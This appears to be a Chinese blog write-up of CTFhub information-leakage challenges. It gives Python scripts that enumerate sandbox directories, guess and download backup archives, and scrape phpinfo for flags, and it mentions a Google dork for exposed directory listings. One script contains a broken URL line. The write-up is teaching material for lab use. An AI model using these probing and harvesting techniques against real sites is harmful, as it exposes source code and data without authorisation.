CTFhub——信息泄露

目录遍历

方法一:手动遍历
CTFhub——信息泄露_第1张图片
CTFhub——信息泄露_第2张图片
方法二:利用脚本遍历

import requests

url="http://challenge-dec394c8f6115d11.sandbox.ctfhub.com:10080/flag_in_here/"
for i in range(5):
    for j in range(5):
        url_test=url+str(i)+"/"+str(j)
        r =requests.get(url_test)
        r.encoding='utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_test)
  • 考点:目录遍历漏洞(由于配置错误导致网站的目录可被遍历,一般该类漏洞可以为后续利用提供一些信息上的帮助)
  • 存在问题:
    (1)操作系统没有限制对文件的访问权限。导致任何人都可访问文件目录,并且利用 …/…/ 可以实现文件回溯,访问父文件
    (2)www目录下的文件结构被暴露
    利用Google hacking语法 intitle:index of intext:Parent Directory
    会很容易就被找到该url链接

PHPINFO

网页显示了php以及该环境下的信息,可以直接获得flag
方法一:ctrl+F,查找flag
CTFhub——信息泄露_第3张图片
方法二:跑脚本

 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request
 import urllib.request
 import re
 rr = re.compile(r'\bctfhub{.*}', re.I)
 res = urllib.request.urlopen("http://challenge-44154573da4f5713.sandbox.ctfhub.com:10080/phpinfo.php")
 res_content = res.read().decode('utf-8')
 print(rr.findall(res_content))

备份文件下载

  • 网站源码
    原因:开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
    用代码跑一下
 #!/usr/bin/python3
 # -*- coding: utf-8 -*- 
 # --author:valecalida--
 import urllib.request, urllib.parse
 import zipfile, os
 import re
 rr = re.compile(r'\bctfhub{.*}', re.I)
 ​
 ​
 def unzip_file(zip_src, dst_dir):
     r = zipfile.is_zipfile(zip_src)
     if r:
         fz = zipfile.ZipFile(zip_src, 'r')
         for file in fz.namelist():
             fz.extract(file, dst_dir)
     else:
         print('看起来解压的过程中出现了一点问题')
 ​
 ​
 name_list1 = ['rar', 'tar.gz', 'tar', 'zip']
 name_list2 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
 name_list = []
 for name1 in name_list1:
     for name2 in name_list2:
         name_list.append(name2 + "." + name1)for names in name_list:
     try:
         res = urllib.request.urlopen('url' %names)
     except BaseException as e:
         pass
     else:
         print("检测到了%s" %names, "正在下载...")
         f = open(names, 'wb')
         f.write(res.read())
         f.close()
         print("下载完成")
         zip_src = os.getcwd() + "\\" + names
         dst_dir = os.getcwd()
         unzip_file(zip_src,dst_dir)
         print("解压完成")
         for name_dir in os.listdir():
             try:
                 resp = urllib.request.urlopen('http://challenge-784af2e1b6c52d01.sandbox.ctfhub.com:10080/%s' %name_dir)
             except BaseException as e:
                 pass
             else:
                 res_content = resp.read().decode('utf-8')
                 if len(res_content) >= 60:
                     continue
                 else:
                     print("获取到的flag为:%s" %res_content)
                     break

检测到一个www.zip下载获取flag
也可以用dirsearch扫一下

  • bak文件
    原因:当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
    访问url/index.php.bak 下载index的源码 打开获得flag
    CTFhub——信息泄露_第4张图片

  • vim缓存
    原因:当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

    以 index.php 为例
    第一次产生的缓存文件名为 .index.php.swp
    第二次意外退出后,文件名为 .index.php.swo
    第三次产生的缓存文件则为 .index.php.swn
    PS:注意index前有 " . "

    访问.index.php.swp,下载文件,记事本打开,Ctrl+F搜索ctfhub得到flag

  • .DS_Store
    原因: .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
    访问url/.DS_Store 下载下来文件,利用记事本打开是一堆乱码,这个是linux文件
    使用工具Python-dsstore
    .DS_Store 文件泄漏利用脚本,获得DS_Store内目录信息
    执行命令,发现一个txt文件

python main.py DS_Store文件路径

url访问txt文件,获得flag

Git泄露

  • log

你可能感兴趣的:(CTFhub——信息泄露)